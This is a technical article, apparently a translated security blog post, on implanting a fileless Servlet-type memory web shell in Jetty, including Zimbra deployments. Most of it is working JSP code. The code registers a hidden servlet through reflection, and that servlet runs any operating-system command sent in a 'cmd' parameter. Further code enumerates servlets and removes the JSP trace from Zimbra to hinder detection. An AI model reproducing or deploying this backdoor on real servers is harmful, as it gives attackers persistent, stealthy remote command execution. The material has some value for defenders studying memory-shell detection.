0x00 Preface
---
The previous article introduced the implementation ideas and details of the Jetty Filter type memory shell. This article introduces the implementation ideas and details of the Jetty Servlet type memory shell.
0x01 Introduction
---
This article will cover the following:
- Implementation Ideas
- Implementation Code
- Servlet Type Memory Shell in Zimbra Environment
0x02 Implementation Ideas
---
Similarly, use Thread to obtain the webappclassloader, and then use reflection to call related methods to add a Servlet type memory shell.
0x03 Implementation Code
---
1. Add Servlet
The complete code available under Jetty is as follows:
<%@ page import="java.lang.reflect.Field"%> <%@ page import="java.lang.reflect.Method"%> <%@ page import="java.util.Scanner"%> <%@ page import="java.io.*"%> <% String servletName = "myServlet"; String urlPattern = "/servlet"; Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : "" servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads"); threadMethod.setAccessible(true); Thread[] threads = (Thread[]) threadMethod.invoke(null); ClassLoader threadClassLoader = null; for (Thread thread : threads) { threadClassLoader = thread.getContextClassLoader(); if(threadClassLoader != null){ if(threadClassLoader.toString().contains("WebAppClassLoader")){ Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context"); fieldContext.setAccessible(true); Object webAppContext = fieldContext.get(threadClassLoader); Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); fieldServletHandler.setAccessible(true); Object servletHandler = fieldServletHandler.get(webAppContext); Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets"); fieldServlets.setAccessible(true); Object[] servlets = (Object[]) fieldServlets.get(servletHandler); boolean flag = false; for(Object s:servlets){ Field fieldName = s.getClass().getSuperclass().getDeclaredField("_name"); fieldName.setAccessible(true); String name = (String) fieldName.get(s); if(name.equals(servletName)){ flag = true; break; } } if(flag){ out.println("[-] Servlet " + servletName + " exists. "); return; } out.println("[+] Add Servlet: " + servletName + " "); out.println("[+] urlPattern: " + urlPattern + " "); ClassLoader classLoader = servletHandler.getClass().getClassLoader(); Class sourceClazz = null; Object holder = null; Field field = null; try{ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); field = sourceClazz.getDeclaredField("JAVAX_API"); Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz); holder = method.invoke(servletHandler, field.get(null)); }catch(ClassNotFoundException e){ sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); Method method = servletHandler.getClass().getMethod("newServletHolder", sourceClazz); holder = method.invoke(servletHandler, Enum.valueOf(sourceClazz, "JAVAX_API")); } holder.getClass().getMethod("setName", String.class).invoke(holder, servletName); holder.getClass().getMethod("setServlet", Servlet.class).invoke(holder, servlet); servletHandler.getClass().getMethod("addServlet", holder.getClass()).invoke(servletHandler, holder); Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.ServletMapping"); Object servletMapping = null; try{ servletMapping = clazz.getDeclaredConstructor(sourceClazz).newInstance(field.get(null)); }catch(NoSuchMethodException e){ servletMapping = clazz.newInstance(); } servletMapping.getClass().getMethod("setServletName", String.class).invoke(servletMapping, servletName); servletMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(servletMapping, new Object[]{new String[]{urlPattern}}); servletHandler.getClass().getMethod("addServletMapping", clazz).invoke(servletHandler, servletMapping); } } } %> |
2. Enumerate Servlet
(1) Enumerate Servlet by calling getServletRegistrations via the request object
The complete code available under Jetty is as follows:
<%@ page import="java.lang.reflect.Method "%> <% ServletContext servletContext = request.getServletContext(); Method m1 = servletContext.getClass().getSuperclass().getDeclaredMethod("getServletRegistrations"); Object obj1 = m1.invoke(servletContext); out.println(obj1); %> |
The corresponding command is: request.getSession().getServletContext().getClass().getSuperclass().getDeclaredMethod("getServletRegistrations").invoke(request.getSession().getServletContext())
(2) Obtain webappclassloader via Thread, and enumerate Servlet by reading the _servlets attribute through reflection
The complete code available under Jetty is as follows:
<%@ page import="java.lang.reflect.Field"%> <%@ page import="java.lang.reflect.Method"%> <% Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads"); threadMethod.setAccessible(true); Thread[] threads = (Thread[]) threadMethod.invoke(null); ClassLoader threadClassLoader = null;
for (Thread thread:threads) { threadClassLoader = thread.getContextClassLoader(); if(threadClassLoader != null){ if(threadClassLoader.toString().contains("WebAppClassLoader")){ Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context"); fieldContext.setAccessible(true); Object webAppContext = fieldContext.get(threadClassLoader); Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); fieldServletHandler.setAccessible(true); Object servletHandler = fieldServletHandler.get(webAppContext); Field fieldServlets = servletHandler.getClass().getDeclaredField("_servlets"); fieldServlets.setAccessible(true); Object[] servlets = (Object[]) fieldServlets.get(servletHandler); boolean flag = false; for(Object servlet:servlets){ out.print(servlet + " "); } } } } %> |
Note:
This method may produce multiple duplicate results in Zimbra environments
0x04 Servlet-type Memory Shell in Zimbra Environment
---
Zimbra has multiple threads named WebAppClassLoader, so when adding a Servlet, the judgment condition needs to be modified to avoid premature exit. This can be done by directly modifying the example code.
Another issue to note when testing in Zimbra environments: All executed JSP instances are marked under rctxt->jsps. The test code is as follows:
<%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.concurrent.ConcurrentHashMap" %> <%@ page import="java.util.*" %> <% Field f = request.getClass().getDeclaredField("_scope"); f.setAccessible(true); Object conn1 = f.get(request); f = conn1.getClass().getDeclaredField("_servlet"); f.setAccessible(true); Object conn2 = f.get(conn1); f = conn2.getClass().getSuperclass().getDeclaredField("rctxt"); f.setAccessible(true); Object conn3 = f.get(conn2); f = conn3.getClass().getDeclaredField("jsps"); f.setAccessible(true); ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3); Enumeration enu = conn4.keys(); while (enu.hasMoreElements()) { out.println(enu.nextElement() + " "); } %> |
Of course, we can delete the JSP instance corresponding to the memory shell through reflection. The test code is as follows:
<%@ page import="java.lang.reflect.Field" %> <%@ page import="java.util.concurrent.ConcurrentHashMap" %> <%@ page import="java.util.*" %> <% Field f = request.getClass().getDeclaredField("_scope"); f.setAccessible(true); Object conn1 = f.get(request); f = conn1.getClass().getDeclaredField("_servlet"); f.setAccessible(true); Object conn2 = f.get(conn1); f = conn2.getClass().getSuperclass().getDeclaredField("rctxt"); f.setAccessible(true); Object conn3 = f.get(conn2); f = conn3.getClass().getDeclaredField("jsps"); f.setAccessible(true); ConcurrentHashMap conn4 = (ConcurrentHashMap)f.get(conn3); conn4.remove("/myServlet.jsp"); %> |
Whether it's a Filter-type memory shell or a Servlet-type memory shell, deleting the JSP instance corresponding to the memory shell does not affect its normal operation.
0x05 Exploitation Approach
---
Similar to Filter-type memory shells, the advantage of Servlet-type memory shells is that they do not require writing to files, but they become ineffective upon server restart.
0x06 Summary
---
This article introduces the implementation approach and details of Jetty Servlet-type memory shells, provides testable code, and shares exploitation methods for the Zimbra environment.